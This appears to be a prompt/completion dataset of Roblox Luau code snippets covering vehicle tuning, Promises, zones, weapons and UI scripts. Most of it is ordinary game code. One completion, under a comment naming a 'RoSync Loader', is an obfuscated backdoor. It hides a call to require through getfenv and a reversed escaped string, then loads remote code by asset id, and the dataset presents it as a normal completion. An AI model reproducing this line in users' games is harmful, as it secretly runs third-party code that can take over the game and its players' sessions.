prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
Utilities involving signals
@class SignalUtils
]=]
|
local SignalUtils = {}
|
--[[ Last synced 8/15/2021 08:04 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-------------------------------------Gun info
|
ToolName="Revolver"
ClipSize=6
ReloadTime=1
Firerate=.2
MinSpread=0.000001
MaxSpread=0.00001
SpreadRate=0
BaseDamage=25
automatic=false
burst=false
shot=false --Shotgun
BarrlePos=Vector3.new(0,0,0)
Cursors={"rbxasset://textures\\GunCursor.png"}
ReloadCursor="rbxasset://textures\\GunWaitCursor.png"
|
-- A new implementation of RBXScriptSignal that uses proper Lua OOP.
-- This was explicitly made to transport other OOP objects.
-- I would be using BindableEvents, but they don't like cyclic tables (part of OOP objects with __index)
| |
-- this will need to be worked into a client schema later
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local Players = game:GetService("Players")
local taggedButtons = CollectionService:GetTagged("LightupButton")
local buttons = {}
local characters = {}
for _, button in pairs(taggedButtons) do
buttons[button] = {
active = false
}
end
local function onPlayerAdded(player)
player.CharacterAdded:Connect(function(character)
repeat task.wait(.2) until character and character.PrimaryPart and character.Humanoid
characters[player] = character
end)
player.CharacterRemoving:Connect(function(character)
characters[player] = nil
end)
end
Players.PlayerAdded:Connect(onPlayerAdded)
for _, player in pairs(Players:GetChildren()) do
onPlayerAdded(player)
end
while true do
local taggedButtons = CollectionService:GetTagged("LightupButton")
for _, button in pairs(taggedButtons) do
if buttons[button] == nil then
buttons[button] = {
active = false
}
end
end
for _, button in pairs(buttons) do
button.active = false
end
for player, character in pairs(characters) do
if character and character.PrimaryPart and character.Humanoid then
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = taggedButtons
raycastParams.FilterType = Enum.RaycastFilterType.Whitelist
local raycastResult = workspace:Raycast(character.PrimaryPart.Position, Vector3.new(0, -6, 0), raycastParams)
if raycastResult and raycastResult.Instance then
if buttons[raycastResult.Instance] then
buttons[raycastResult.Instance].active = true
end
end
end
end
task.wait()
for instance, button in pairs(buttons) do
if button.active then
instance.Material = Enum.Material.Neon
else
instance.Material = Enum.Material.Plastic
end
end
end
|
-- print("filter.Value=",filter.Value)
|
end
me.Activated:Connect(onButtonActivated)
|
-- Making a CFrame value from an origin position and unit direction:
|
function Util.makeOrientation(sourcePos, dir)
-- Construct CFrame to rotate parts from x-axis alignment (where they are constructed) to
-- the world orientation of the arc from a quaternion rotation that describes the
-- rotation of ux-->axis
dir = dir.unit
-- Proportionate angle between ux and direction:
local angleUxAxis = dot(ux, dir)
if (angleUxAxis > 0.99999) then
return cframe(sourcePos, sourcePos - uz)
elseif (angleUxAxis < -0.99999) then
return cframe(sourcePos, sourcePos + uz)
else
local q = cross(ux, dir)
local qw = 1 + angleUxAxis
local qnorm = sqrt(q.magnitude ^ 2 + qw * qw)
q = q / qnorm
qw = qw / qnorm
return cframe(sourcePos.x, sourcePos.y, sourcePos.z, q.x, q.y, q.z, qw)
end
end
return Util
|
-- Made by https://www.roblox.com/users/130644198/profile
| |
--Keybinds & Main Lean Script
|
UIS.InputBegan:Connect(function(key, isTyping)
if key.KeyCode == Enum.KeyCode.E then
tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(2,0,0)}):Play()
end
if key.KeyCode == Enum.KeyCode.Q then
tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(-2,0,0)}):Play()
end
end)
UIS.InputEnded:Connect(function(key)
if key.KeyCode == Enum.KeyCode.E or key.KeyCode == Enum.KeyCode.Q then
tweenService:Create(humanoid ,ti, {CameraOffset = Vector3.new(0,0,0)}):Play()
end
end)
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--script.Parent.II.Velocity = script.Parent.II.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.III.Velocity = script.Parent.III.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.IIII.Velocity = script.Parent.IIII.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.J.Velocity = script.Parent.J.CFrame.lookVector *script.Parent.Speed.Value
|
-- Initialize the tool
|
local TextureTool = {
Name = 'Texture Tool';
Color = BrickColor.new 'Bright violet';
-- Default options
Type = 'Decal';
Face = Enum.NormalId.Front;
};
|
-- CONFIG
|
local defaultRegionHeight = 20
local displayBoundParts = false
local Zone = {}
Zone.__index = Zone
local Signal = {}
Signal.__index = Signal
Signal.ClassName = "Signal"
function Signal.new()
local self = setmetatable({}, Signal)
self._bindableEvent = Instance.new("BindableEvent")
self._argData = nil
self._argCount = nil -- Prevent edge case of :Fire("A", nil) --> "A" instead of "A", nil
return self
end
function Signal:Fire(...)
self._argData = {...}
self._argCount = select("#", ...)
self._bindableEvent:Fire()
self._argData = nil
self._argCount = nil
end
function Signal:Connect(handler)
if not (type(handler) == "function") then
error(("connect(%s)"):format(typeof(handler)), 2)
end
return self._bindableEvent.Event:Connect(function()
handler(unpack(self._argData, 1, self._argCount))
end)
end
function Signal:Wait()
self._bindableEvent.Event:Wait()
assert(self._argData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
return unpack(self._argData, 1, self._argCount)
end
function Signal:Disconnect()
if self._bindableEvent then
self._bindableEvent:Destroy()
self._bindableEvent = nil
end
self._argData = nil
self._argCount = nil
end
function Zone.new(group, regionHeight)
local self = {}
setmetatable(self, Zone)
self.Group = group
self.RegionHeight = regionHeight or defaultRegionHeight
self.DisplayBoundParts = displayBoundParts
self.GroupParts = {}
self.Region = self:getRegion()
self.PreviousPlayers = {}
self.PlayerAdded = Signal.new()
self.PlayerRemoving = Signal.new()
return self
end
function Zone:getRegion()
local bounds = {["Min"] = {}, ["Max"] = {}}
for boundType, details in pairs(bounds) do
details.Values = {}
function details.parseCheck(v, currentValue)
if boundType == "Min" then
return (v <= currentValue)
elseif boundType == "Max" then
return (v >= currentValue)
end
end
function details:parse(valuesToParse)
for i,v in pairs(valuesToParse) do
local currentValue = self.Values[i] or v
if self.parseCheck(v, currentValue) then
self.Values[i] = v
end
end
end
end
for _, part in pairs(self.Group:GetDescendants()) do
if part:isA("BasePart") then
table.insert(self.GroupParts, part)
local sizeHalf = part.Size * 0.5
local corners = {
part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, -sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(-sizeHalf.X, sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, -sizeHalf.Y, sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, -sizeHalf.Z),
part.CFrame * CFrame.new(sizeHalf.X, sizeHalf.Y, sizeHalf.Z),
}
for _, cornerCFrame in pairs(corners) do
local x, y, z = cornerCFrame:GetComponents()
local values = {x, y, z}
bounds.Min:parse(values)
bounds.Max:parse(values)
end
end
end
local boundMin = Vector3.new(unpack(bounds.Min.Values))
local boundMax = Vector3.new(unpack(bounds.Max.Values)) + Vector3.new(0, self.RegionHeight, 0)
if self.DisplayBoundParts then
local boundParts = {BoundMin = boundMin, BoundMax = boundMax}
for boundName, boundCFrame in pairs(boundParts) do
local part = Instance.new("Part")
part.Anchored = true
part.CanCollide = false
part.Transparency = 0.5
part.Size = Vector3.new(4,4,4)
part.Color = Color3.fromRGB(255,0,0)
part.CFrame = CFrame.new(boundCFrame)
part.Name = boundName
part.Parent = self.Group
end
end
local region = Region3.new(boundMin, boundMax)
return region
end
function Zone:getPlayersInRegion()
local players = Players:GetPlayers()
local playerCharacters = {}
for _, player in pairs(players) do
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then
table.insert(playerCharacters, hrp)
end
end
local partsInRegion = workspace:FindPartsInRegion3WithWhiteList(self.Region, playerCharacters, #players)
local charsChecked = {}
local playersInRegion = {}
if #partsInRegion > 0 then
for _, part in pairs(partsInRegion) do
local char = part.Parent
if not charsChecked[char] then
charsChecked[char] = true
local player = Players:GetPlayerFromCharacter(char)
if player then
--table.insert(playersInRegion, player)
playersInRegion[player] = true
end
end
end
end
return playersInRegion
end
function Zone:getPlayer(player)
local char = player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then
local origin = hrp.Position + Vector3.new(0, 4, 0)
local lookDirection = origin + Vector3.new(0, -1, 0)
local ray = Ray.new(origin, (lookDirection - origin).unit * (self.RegionHeight))
local groupPart = workspace:FindPartOnRayWithWhitelist(ray, self.GroupParts)
if groupPart then
return true
end
end
end
function Zone:getPlayers()
local playersInRegion = self:getPlayersInRegion()
local playersInZone = {}
for _, player in pairs(playersInRegion) do
if self:getPlayer(player) then
if not self.PreviousPlayers[player] then
self.PlayerAdded:Fire(player)
end
table.insert(playersInZone, player)
elseif self.PreviousPlayers[player] then
self.PlayerRemoving:Fire(player)
end
end
self.PreviousPlayers = playersInZone
return playersInZone
end
function Zone:initLoop(loopDelay)
loopDelay = tonumber(loopDelay) or 0.5
local loopId = HttpService:GenerateGUID(false)
self.currentLoop = loopId
if not self.loopInitialized then
self.loopInitialized = true
coroutine.wrap(function()
while self.currentLoop == loopId do
wait(loopDelay)
self:getPlayers()
end
end)()
end
end
function Zone:endLoop()
self.currentLoop = nil
end
return Zone
|
-- Services
|
local playerService = game:GetService("Players")
playerService.PlayerAdded:Connect(function (plr)
plr.CharacterAdded:Connect(function (char)
local humanoid = char:WaitForChild("Humanoid")
humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
end)
end)
|
-- debug.profilebegin("AI Offload Loop")
|
local activate, deactivate = {}, {}
local num = 0
for _,critter in next,workspace.Critters:GetChildren() do
num = num + 1
if critter.PrimaryPart and character and character.PrimaryPart then
local distance = (character.PrimaryPart.Position - critter.PrimaryPart.Position).magnitude
if distance < ACTIVATE_AI_RANGE then
table.insert(activate, critter)
else
table.insert(deactivate, critter)
end
end
if num % 10 == 0 then
RS.Heartbeat:Wait()
end
end
Rep.Relay.AI.AIUpdated:FireServer(activate, deactivate)
elapsed = 0
|
-- Very inefficient, but provides all available info
|
function Util.debugPrint(tbl, indent)
local out = ""
indent = indent or " "
local vStr
local kStr
for k,v in pairs(tbl) do
local t = type(v)
local kConversionSuccess, kConversionResult = pcall(function() return tostring(k) end)
if kConversionSuccess then
kStr = kConversionResult
else
kStr = "[" .. type(k) .. "]"
end
if t == "table" then
vStr = string.format("\n%s%s", "", Util.debugPrint(v, indent .. " "))
else
local vConversionSuccess, vConversionResult = pcall(function() return tostring(v) end)
if vConversionSuccess then
vStr = vConversionResult
else
vStr = "[" .. type(v) .. "]"
end
end
out = string.format("%s%s%s: %s\n", out, indent, kStr, vStr)
end
return out
end
function Util.tableToString(tbl, indent)
local out = ""
indent = indent or " "
local vStr
for k,v in pairs(tbl) do
local t = type(v)
if t == "table" then
vStr = string.format("\n%s%s", "", Util.tableToString(v, indent .. " "))
elseif t == "nil" then
vStr = "[nil]"
elseif t == "string" then
vStr = string.format("\"%s\"", v)
elseif t == "boolean" then
vStr = Util.boolToString(v)
elseif t == "userdata" then
vStr = "[USERDATA]"
elseif t == "function" then
vStr = "[FUNCTION]"
else
vStr = v
end
k = tostring(k)
out = string.format("%s%s%s: %s\n", out, indent, k, vStr)
end
return out
end
function Util.newRemoteEvent(name, parent)
local existing = parent:FindFirstChild(name)
if existing then
Log.Warn.Util("RemoteEvent %s under %s already exists", name, parent.Name)
return existing
end
local event = Instance.new("RemoteEvent", parent)
event.Name = name
return event
end
function Util.isPlayerInGroup(player, groups)
for _, groupId in ipairs(groups) do
if player:IsInGroup(groupId) then
return true
end
end
end
function Util.isPlayerIDInTable(player, ids)
for _, id in ipairs(ids) do
if player.UserId == id then
return true
end
end
end
function Util.lerp(start, stop, t)
return start * (1 - t) + stop * t
end
function Util.getClientFocus()
return CollectionService:GetTagged(Util._clientFocusTag)[1]
end
function Util.setClientFocus(instance)
if RunService:IsClient() then
-- Remove any tags
for _, obj in ipairs(CollectionService:GetTagged(Util._clientFocusTag)) do
CollectionService:RemoveTag(obj, Util._clientFocusTag)
end
-- Tag the specified object
CollectionService:AddTag(instance, Util._clientFocusTag)
end
end
Util.highestBotNum = 150
function Util.playerIsBot(player)
local numOnEnd = tonumber(string.sub(player.Name, 11))
if numOnEnd ~= nil and
string.len(player.Name) > 10 and
string.sub(player.Name, 1, 10) == "rbxreftest" and
numOnEnd <= Util.highestBotNum and
numOnEnd >= 1
then
return true
end
return false
end
function Util.playerIsAlive(player)
if player and player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid:GetState() ~= Enum.HumanoidStateType.Dead then
return true
end
end
return false
end
function Util.ancestorHasTag(instance, tag)
local currentInstance = instance
while currentInstance do
if CollectionService:HasTag(currentInstance, tag) then
return true
elseif not currentInstance.Parent then
return false
else
currentInstance = currentInstance.Parent
end
end
return false
end
function Util.getTableKeys(tbl)
local keys = {}
for k in pairs(tbl) do
table.insert(keys, k)
end
return keys
end
function Util.loadCharacter(player)
if Conf.force_rthro then
local avatars = Conf.avatarOutfits
local effectiveId = player.UserId
local outfitId = avatars[(effectiveId % (#avatars - 1)) + 1]
local playerDesc = Players:GetHumanoidDescriptionFromUserId(player.UserId)
local desc = Players:GetHumanoidDescriptionFromOutfitId(outfitId)
-- Load animations from configuration
for property, value in pairs(Conf.avatarAnimations) do
desc[property] = value
end
local emotes = playerDesc:GetEquippedEmotes()
desc:SetEquippedEmotes(emotes)
player:LoadCharacterWithHumanoidDescription(desc)
else
player:LoadCharacter()
end
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9999 -- Spring Force
Tune.FSusLength = 1.5 -- Suspension length (in studs)
Tune.FSusMaxExt = .6 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .5 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9999 -- Spring Force
Tune.RSusLength = 1.5 -- Suspension length (in studs)
Tune.RSusMaxExt = .6 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .5 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Run the chasePlayer function continuously
|
game:GetService("RunService").Heartbeat:Connect(chasePlayer)
|
----------//Events\\----------
|
Evt.Refil.OnClientEvent:Connect(function(Tool, Infinite, Stored)
local data = require(Tool.ACS_Settings)
local NewStored = math.min(data.MaxStoredAmmo - StoredAmmo, Stored.Value)
StoredAmmo = StoredAmmo + NewStored
data.StoredAmmo = StoredAmmo
UpdateGui()
if not Infinite then
Evt.Refil:FireServer(Stored, NewStored)
end
end)
|
-- @Description Check if a certain %Object is inside a %Table
-- @Arg1 Table
-- @Arg2 Object
|
function Basic.IsInTable(tbl, obj)
for _,v in pairs(tbl) do
if v == obj then
return v
end
end
end
|
--[[
PLACE THIS MODEL IN WORKSAPCE
RUN THE CODE BELOW IN THE COMMAND LINE
Subscribe to whokwabi or leave a like on the video and model if this helped you!
You can delete this model after you are done!
]]
|
local x = workspace.ChatModel.ClientChatModules:Clone()
x.Parent = game.Chat
|
-- Shows initial value if anything is currently in the CurrencyToCollect
|
script.Parent.Parent.Parent.Parent.Parent.Parent.CurrencyToCollect.Changed:connect(function(money)
script.Parent.Text = "$"..money
end)
|
--[[
local p: TextBox
p.InputBegan
p.InputChanged
p.InputEnded
p.FocusLost
p.Focused
p.MouseEnter
p.MouseLeave
p:CaptureFocus()
p:ReleaseFocus()
p:IsFocused()
]]
|
return class
|
----- Stuff To Change -----
|
local UIStroke = script.Parent
|
--[[
updates the the player info based on the ticks
--]]
|
RunService.Heartbeat:Connect(function(step)
current_tick += 1
if current_tick % ticks == 0 then
Network:update_player_chunkdata()
total_updates += 1
end
if current_tick == chunk_ticks then
Network:update_chunkdata()
current_tick = 0
end
end)
|
--Configuration--
|
screen = car.Body.Display.BMWDisplay.Display --screen location kek
chassisversion = "Cat" --for chassisversion ('Tyler' for Itzt's AC6 or 'Cat' for Cat's AC6 version)
sound = car.Body.MP.Sound
|
--------END CREW--------
|
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--SKP_13.Brightness = 0
|
SKP_12.Saturation = 0
SKP_12.Contrast = 0
SKP_14.Size = 0
SKP_12.Saturation = 0
SKP_12.Contrast = 0
SKP_15.Variaveis.Dor.Value = 0
if SKP_19 == true then
Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play()
end
end)
local SKP_25 = script.Parent.Parent.Humanoid
local SKP_26 = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys.Collapse
function onChanged()
SKP_26:FireServer()
if (SKP_17.Value <= 3500) or (SKP_18.Value >= 200) or (SKP_16.Value == true) then
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
SKP_25:UnequipTools()
elseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and (SKP_16.Value == false) and SKP_15.Stances.Rendido.Value == false then -- YAY A MEDIC ARRIVED! =D
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
end
end
onChanged()
SKP_17.Changed:Connect(onChanged)
SKP_18.Changed:Connect(onChanged)
SKP_16.Changed:Connect(onChanged)
SKP_15.Stances.Rendido.Changed:Connect(function(Valor)
if Valor == true then
SKP_25:UnequipTools()
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
else
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
end
end)
local RS = game:GetService("RunService")
RS.RenderStepped:connect(function(Update)
if Morto then
SKP_2.Character:FindFirstChild("Right Arm").LocalTransparencyModifier = 0
SKP_2.Character:FindFirstChild("Left Arm").LocalTransparencyModifier = 0
SKP_2.Character:FindFirstChild("Right Leg").LocalTransparencyModifier = 0
SKP_2.Character:FindFirstChild("Left Leg").LocalTransparencyModifier = 0
SKP_2.Character:FindFirstChild("Torso").LocalTransparencyModifier = 0
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
game.Workspace.CurrentCamera.CFrame = SKP_15.Parent:WaitForChild('Head').CFrame
end
end)
while true do
SKP_10:Create(SKP_14,TweenInfo.new(3,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Size = 0}):Play()
wait(3)
SKP_10:Create(SKP_14,TweenInfo.new(2,Enum.EasingStyle.Elastic,Enum.EasingDirection.InOut,0,false,0),{Size = (SKP_15.Variaveis.Dor.Value/SKP_15.Variaveis.Dor.MaxValue) * 25}):Play()
wait(3)
end
|
-- Définissez la vitesse de marche initiale du joueur local sur 0
|
player.Character:WaitForChild("Humanoid").WalkSpeed = 0
|
-- This parameter determines how long the effects heartbeat loop keeps running after the driver exits
|
local EFFECTS_GRACE_PERIOD = 0.5
|
--[[Standardized Values: Don't touch unless needed]]
|
--[WEIGHT // Cubic stud : pounds ratio]
Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs)
return Tune
|
-- @outline // PUBLIC METHODS
|
function Controller:Update(dt)
local Character = System.LocalPlayer and System.LocalPlayer.Character
if not Character then return end
local Humanoid : Humanoid = Character.Humanoid
if self.ListenForInput then
if System.Control.InputMethod == Enum.UserInputType.Gamepad1 then
self.MoveDirection = System.Control.ThumbstickDirection1
else
self.MoveDirection = Vector2.new(self.Inputs.S - self.Inputs.W, self.Inputs.A - self.Inputs.D)
end
end
if self.MoveDirection == Vector2.zero then
if self.ForceMove ~= 0 then
local MousePos = System.Aim.MousePos
if not MousePos then return end
local StartPos = Vector2.new(Character.HumanoidRootPart.Position.X, Character.HumanoidRootPart.Position.Z)
self.MoveDirection = (MousePos - StartPos).Unit
self:ApplyMove(self.MoveDirection, dt, Humanoid)
else
self:ApplyMove(Vector2.zero, dt, Humanoid)
end
return
end
self:CalculateRelativeMoveDirection()
self:ApplyMove(self.MoveDirection, dt, Humanoid)
end
function Controller:CalculateRelativeMoveDirection()
self.MoveDirection = self.MoveDirection.Unit
local cos = math.cos(math.rad(System.Camera.Angle))
local sin = math.sin(math.rad(System.Camera.Angle))
self.MoveDirection = Vector2.new(self.MoveDirection.X * cos - self.MoveDirection.Y * sin, self.MoveDirection.X * sin + self.MoveDirection.Y * cos)
end
function Controller:ApplyMove(NewMoveDirection, dt, Humanoid)
self.CachedDirection = System.Interpolate.Linear(self.CachedDirection or Vector2.new(), NewMoveDirection, math.clamp(dt/self.SmoothTime, 0, 1))
self.FinalDirection = Vector3.new(self.CachedDirection.X, 0, self.CachedDirection.Y) * (self.ForceMove ~= 0 and self.ForceMove or 1)
Humanoid:Move(self.FinalDirection)
end
|
--[=[
Returns a Promise that resolves after `seconds` seconds have passed. The Promise resolves with the actual amount of time that was waited.
This function is **not** a wrapper around `wait`. `Promise.delay` uses a custom scheduler which provides more accurate timing. As an optimization, cancelling this Promise instantly removes the task from the scheduler.
:::warning
Passing `NaN`, infinity, or a number less than 1/60 is equivalent to passing 1/60.
:::
```lua
Promise.delay(5):andThenCall(print, "This prints after 5 seconds")
```
@function delay
@within Promise
@param seconds number
@return Promise<number>
]=]
|
do
-- uses a sorted doubly linked list (queue) to achieve O(1) remove operations and O(n) for insert
-- the initial node in the linked list
local first
local connection
function Promise.delay(seconds)
assert(type(seconds) == "number", "Bad argument #1 to Promise.delay, must be a number.")
-- If seconds is -INF, INF, NaN, or less than 1 / 60, assume seconds is 1 / 60.
-- This mirrors the behavior of wait()
if not (seconds >= 1 / 60) or seconds == math.huge then
seconds = 1 / 60
end
return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
local startTime = Promise._getTime()
local endTime = startTime + seconds
local node = {
resolve = resolve,
startTime = startTime,
endTime = endTime,
}
if connection == nil then -- first is nil when connection is nil
first = node
connection = Promise._timeEvent:Connect(function()
local threadStart = Promise._getTime()
while first ~= nil and first.endTime < threadStart do
local current = first
first = current.next
if first == nil then
connection:Disconnect()
connection = nil
else
first.previous = nil
end
current.resolve(Promise._getTime() - current.startTime)
end
end)
else -- first is non-nil
if first.endTime < endTime then -- if `node` should be placed after `first`
-- we will insert `node` between `current` and `next`
-- (i.e. after `current` if `next` is nil)
local current = first
local next = current.next
while next ~= nil and next.endTime < endTime do
current = next
next = current.next
end
-- `current` must be non-nil, but `next` could be `nil` (i.e. last item in list)
current.next = node
node.previous = current
if next ~= nil then
node.next = next
next.previous = node
end
else
-- set `node` to `first`
node.next = first
first.previous = node
first = node
end
end
onCancel(function()
-- remove node from queue
local next = node.next
if first == node then
if next == nil then -- if `node` is the first and last
connection:Disconnect()
connection = nil
else -- if `node` is `first` and not the last
next.previous = nil
end
first = next
else
local previous = node.previous
-- since `node` is not `first`, then we know `previous` is non-nil
previous.next = next
if next ~= nil then
next.previous = previous
end
end
end)
end)
end
end
|
--[=[
Accepts an array of Promises and returns a new promise that:
* is resolved after all input promises resolve.
* is rejected if *any* input promises reject.
:::info
Only the first return value from each promise will be present in the resulting array.
:::
After any input Promise rejects, all other input Promises that are still pending will be cancelled if they have no other consumers.
```lua
local promises = {
returnsAPromise("example 1"),
returnsAPromise("example 2"),
returnsAPromise("example 3"),
}
return Promise.all(promises)
```
@param promises {Promise<T>}
@return Promise<{T}>
]=]
|
function Promise.all(promises)
return Promise._all(debug.traceback(nil, 2), promises)
end
|
-- Set load indicator to true upon load completion
|
Indicator.Value = true;
|
----------------------------------------------------------------
|
while wait() do
if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then
Lag = math.random(1,40)
end
if script.Parent.Values.Boost.Value > _Tune.TurboPSI - 3 and script.Parent.Values.RPM.Value > _Tune.PeakRPM - 2000 then
Lag2 = math.random(1,40)
if Lag == Lag2 and _Tune.MisFire == false then
Tlag = true
script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer
wait (1)
Tlag = false
script.Parent.Values.TLA.Value = DefaultTurboLag
elseif Lag == Lag2 and _Tune.MisFire == true and RllyLag == true then
Tlag = true
script.Parent.Values.TLA.Value = DefaultTurboLag + Reducer
car.Body.Exhaust.E1.Afterburn.Rate = 100
car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(2)
car.Body.Exhaust.E1.L.Range = 9
wait (0.5)
Tlag = false
script.Parent.Values.TLA.Value = DefaultTurboLag - Reducer
wait (0.5)
script.Parent.Values.TLA.Value = Missfireboost
wait (1)
script.Parent.Values.TLA.Value = DefaultTurboLag
car.Body.Exhaust.E1.Afterburn.Rate = 0
car.Body.Exhaust.E1.Afterburn.Size = NumberSequence.new(0.5)
car.Body.Exhaust.E1.L.Range = 0
wait (1)
RllyLag = false
wait (Missfireboostwait)
RllyLag = true
end
end
end
|
--[=[
Destroys the Streamable. Any observers will be disconnected,
which also means that troves within observers will be cleaned
up. This should be called when a streamable is no longer needed.
]=]
|
function Streamable:Destroy()
self._trove:Destroy()
end
export type Streamable = typeof(Streamable.new(workspace, "X"))
return Streamable
|
--Required components
|
local DataStoreService = game:GetService("DataStoreService")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")
local SavingMethods = require(script.SavingMethods)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)
local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local function clone(value)
if typeof(value) == "table" then
return TableUtil.clone(value)
else
return value
end
end
|
-- When tool is selected
|
function onSelected(mouse)
myMouse = mouse;
mouse.Icon = "rbxassetid://412054506"; -- Change The ID - Eng
mouse.Button1Down:connect(function() onButton1Down(mouse) end);
mouse.Button1Up:connect(function() onButton1Up(mouse) end);
mouse.KeyDown:connect(onKeyDown);
mouse.KeyUp:connect(onKeyUp);
updateAmmo();
print("Tank Tool Equipped")
wait()
parts.Parent.Driver.Value = script.Parent.Parent.Parent.Name
if Active == true then
while Active do
updateAmmo()
wait()
end
end
end
|
--[[Engine]]
|
